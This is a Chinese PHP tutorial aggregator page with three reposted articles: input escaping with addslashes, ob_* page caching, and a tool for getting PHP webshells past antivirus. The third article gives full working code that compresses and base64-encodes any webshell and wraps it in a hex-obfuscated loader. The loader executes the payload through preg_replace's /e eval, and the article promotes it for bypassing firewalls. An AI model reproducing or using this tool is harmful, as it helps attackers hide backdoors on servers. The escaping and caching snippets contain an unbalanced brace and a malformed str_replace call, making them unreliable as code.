当前位置:  编程技术>php
本页文章导读:
    ▪php中的daddslashes()和saddslashes()的区别      在开源项目中会经常用到 saddslashes() 函数,本文为大家作个简要介绍,供大家参考。 //GPC过滤,自动转义$_GET,$_POST,$_COOKIE中的特殊字符,防止SQL注入攻击 $_GET = saddslashes($_GET); $_POST = saddslas.........
    ▪php页面缓存ob系列函数的相关介绍      最近看了下phpcms的页面缓存,它一般是用在数据库查询较多的页面中,不适用于插入修改删除的页面中。 有关php的缓存技术介绍,请参考这篇文章:http://www./article/4071.html php页面缓存主要用.........
    ▪php写的webshell超强免杀工具的代码      注意:这不是webshell,只是个webshell免杀工具,不要当webshell使用,仅限免杀phpwebshell。 该工具运行在 cli 模式下。 如果有无法突破的文件内容过滤,可尝试下用这个工具,免杀大马哦。 任.........

[1]php中的daddslashes()和saddslashes()的区别
    来源: 互联网  发布时间: 2013-12-24

在开源项目中会经常用到 saddslashes() 函数,本文为大家作个简要介绍,供大家参考。

//GPC过滤,自动转义$_GET,$_POST,$_COOKIE中的特殊字符,防止SQL注入攻击
$_GET = saddslashes($_GET);
$_POST = saddslashes($_POST);

下面是daddslashes()和 saddslashes()的例子:
 

代码如下:

<?php
//----saddslashes
function daddslashes($string, $force = 0, $strip = FALSE) {
//字符串或数组 是否强制 是否去除
//如果魔术引用未开启 或 $force不为0
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) { //如果其为一个数组则循环执行此函数
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
//如果魔术引用开启或$force为0
//下面是一个三元操作符,如果$strip为true则执行stripslashes()去掉反斜线字符,再执行addslashes
//$strip为true的,也就是先去掉反斜线字符再进行转义的为$_GET,$_POST,$_COOKIE和$_REQUEST $_REQUEST数组包含了前三个数组的值
//这里为什么要将$string先去掉反斜线再进行转义呢,因为有的时候$string有可能有两个反斜线,stripslashes是将多余的反斜线过滤掉
  $string = addslashes($strip ? stripslashes($string) : $string);
}
}
return $string;
}

//------saddslashes
function saddslashes($string) { if(!MAGIC_QUOTES_GPC){
if(is_array($string)) { //如果转义的是数组则对数组中的value进行递归转义
    foreach($string as $key => $val) {
      $string[$key] = saddslashes($val);
      }
} else {
    $string = addslashes($string); //对单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符),进行转义
}
return $string;
}else{
return $string;
}
?>

重点就是:
saddslashes可以实现对每一个数据进行转义处理:
 

代码如下:
<?php
function saddslashes($string) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = saddslashes($val);
}
} else {
$string = addslashes($string);
}
return $string;
}
?>

    
[2]php页面缓存ob系列函数的相关介绍
    来源: 互联网  发布时间: 2013-12-24

最近看了下phpcms的页面缓存,它一般是用在数据库查询较多的页面中,不适用于插入修改删除的页面中。

有关php的缓存技术介绍,请参考这篇文章:http://www./article/4071.html

php页面缓存主要用到的是ob系列函数:包括ob_start(),ob_end_flush(),ob_get_contents()等。

接下来看看编码部分。

一、初始化函数,一般是设置页面缓存路径、缓存文件命名格式等,可按个人喜好自定义。这里用到的识别ID是经加密的$_SERVER[REQUEST_URI]参数。这个函数中最后还有一个if判断:若未过缓存期,则加载缓存文件,否则加载源文件。
 

代码如下:

<?php
function page_init()
{
$url = $_SERVER['REQUEST_URI'];//子url,该参数一般是唯一的
$pageid = md5($url);
$dir = str_replace()('/','_',substr($_SERVER['SCRIPT_NAME'],1,-4));
//目录命名方式,如exp_index
if(!file_exists($pd = PAGE_PATH.$dir.'/'))@mkdir($pd,0777) or die("$pd目录创建失败");
//如cache/page/exp_index/
define('PAGE_FILE',$pd.$pageid.'.html');
  //如cache/page/exp_index/cc8ef22b405566745ed21305dd248f0e.html
$contents = file_get_contents(PAGE_FILE);//读出

if($contents && substr($contents, 13, 10) > time() )//对应page_cache()函数中加上的自定义头部
{
echo substr($contents, 27);
exit(0);
}
return true;
}
?>

二、页面缓存函数,这里使用到一个技巧:在缓存文件的内容中加上一个头部信息--过期时间,所以每次只需要对头部中的过期时间和当前时间进行比较(在page_init()函数中进行)就能判断缓存是否过期了。
 

代码如下:
<?php
function page_cache($ttl = 0)
{
$ttl = $ttl ? $ttl : PAGE_TTL;//缓存时间,默认3600s
$contents = ob_get_contents();//从缓存中获取内容
$contents = "<!--page_ttl:".(time() + $ttl)."-->\n".$contents;
  //加上自定义头部:过期时间=生成时间+缓存时间
file_put_contents(PAGE_FILE, $contents);//写入缓存文件中
ob_end_flush();//释放缓存
}
?>

三、函数使用,注意这两个函数有先后执行顺序,还有别忘了ob_start()。
 

代码如下:

<?php
page_init();//页面缓存初始化
ob_start();//开启缓存

...//代码段

page_cache(60);//一般是最后一行
?>


    
[3]php写的webshell超强免杀工具的代码
    来源: 互联网  发布时间: 2013-12-24

注意:这不是webshell,只是个webshell免杀工具,不要当webshell使用,仅限免杀phpwebshell。
该工具运行在 cli 模式下。
如果有无法突破的文件内容过滤,可尝试下用这个工具,免杀大马哦。
任意php webshell,通过此工具编码之后可以绕过国内一些bt的防火墙。
 

代码如下:
<?php
/*
Title: PHP shell nokill T00L
Blog: exploit-db.blogcn.com
*/
error_reporting(0);
@ini_set('memory_limit','-1');
set_time_limit(0);
$toolname="$argv[0]";
if ($argc<2) {
baner($toolname);
die;
}
$input_file= trim($argv[1]);
$output_file='nokill_'.$input_file;
if (file_exists($input_file)) {
No_kill_c0de($input_file,$output_file);
echo "PHP shell nokill T00L\r\n";
echo "Blog: exploit-db.blogcn.com\r\n";
echo "Input: {$input_file}\r\n";
$file_full_path=dirname(__FILE__).DIRECTORY_SEPARATOR.$output_file;
echo "[+] Generate success!\r\n";
echo "Saved to {$file_full_path}"."\r\n";
} else {
echo "PHP shell nokill T00L\r\n";
echo "Blog: exploit-db.blogcn.com\r\n";
die("[-] Failed ! The File $input_file does not exist");
}
function No_kill_c0de($input_file,$output_file){
$no_whitespace=php_strip_whitespace($input_file);
$no_php_tag=trim(trim(trim($no_whitespace,'<?php'),'<?'),'?>');
$enfile=base64_encode(gzdeflate($no_php_tag));
$shellcode="\x3c\x3f\x70\x68\x70\xd\xa";
$shellcode.='$enfile='.'"'."{$enfile}".'"'.';'."\xd\xa";
$shellcode.="\x24\x62\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x66\x27\x2c\x22\x22\x2c\x22\x62\x66\x61\x66\x73\x66\x65\x66\x36\x66\x34\x66\x5f\x66\x66\x64\x66\x66\x65\x66\x66\x63\x66\x66\x6f\x66\x66\x64\x66\x66\x65\x66\x22\x29\x3b\xd\xa\x24\x67\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x58\x27\x2c\x27\x27\x2c\x27\x67\x58\x58\x7a\x58\x58\x69\x58\x58\x6e\x58\x58\x58\x58\x66\x58\x58\x58\x6c\x58\x58\x61\x58\x58\x58\x74\x58\x58\x58\x58\x58\x65\x27\x29\x3b\xd\xa\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x5c\x27\x61\x5c\x27\x65\x69\x73\x27\x2c\x27\x65\x27\x2e\x27\x76\x27\x2e\x27\x61\x27\x2e\x27\x6c\x27\x2e\x27\x28\x24\x67\x28\x24\x62\x28\x24\x65\x6e\x66\x69\x6c\x65\x29\x29\x29\x27\x2c\x27\x61\x27\x29\x3b\xd\xa";
$shellcode.="\x3f\x3e";
file_put_contents("$output_file",$shellcode);
}
function baner($toolname){
echo "PHP shell nokill T00L\r\n";
echo "Blog: exploit-db.blogcn.com\r\n";
echo "Usage: {$toolname} phpwebshell\r\n";
}
?>

    
最新技术文章:
▪PHP函数microtime()时间戳的定义与用法
c/c++开源软件 iis7站长之家
▪PHP数组排序方法总结(收藏)
▪php数组排序方法大全(脚本学堂整理奉献)
▪php数组排序的几个函数(附实例)
▪php二维数组排序(实例)
▪php根据键值对二维数组排序的小例子
▪php验证码(附截图)
▪php数组长度的获取方法(三个实例)
▪php获取数组长度的方法举例
▪判断php数组维度(php数组长度)的方法
▪php获取图片的exif信息的示例代码
▪PHP 数组key长度对性能的影响实例分析
▪php函数指定默认值的方法示例
▪php提交表单到当前页面、提交表单后页面重定...
▪php四舍五入的三种实现方法
▪php获得数组长度(元素个数)的方法
▪php日期函数的简单示例代码
▪php数学函数的简单示例代码
▪php字符串函数的简单示例代码
▪php文件下载代码(多浏览器兼容、支持中文文...
▪php实现文件下载、支持中文文件名的示例代码...
▪php文件下载(防止中文文件名乱码)的示例代码
▪解决PHP文件下载时中文文件名乱码的问题
▪php数组去重(一维、二维数组去重)的简单示例
▪php小数点后取两位的三种实现方法
▪php Redis 队列服务的简单示例
▪PHP导出excel时数字变为科学计数的解决方法
▪PHP数组根据值获取Key的简单示例
▪php数组去重的函数代码示例
 


站内导航:


特别声明:169IT网站部分信息来自互联网,如果侵犯您的权利,请及时告知,本站将立即删除!

©2012-2021,,E-mail:www_#163.com(请将#改为@)

浙ICP备11055608号-3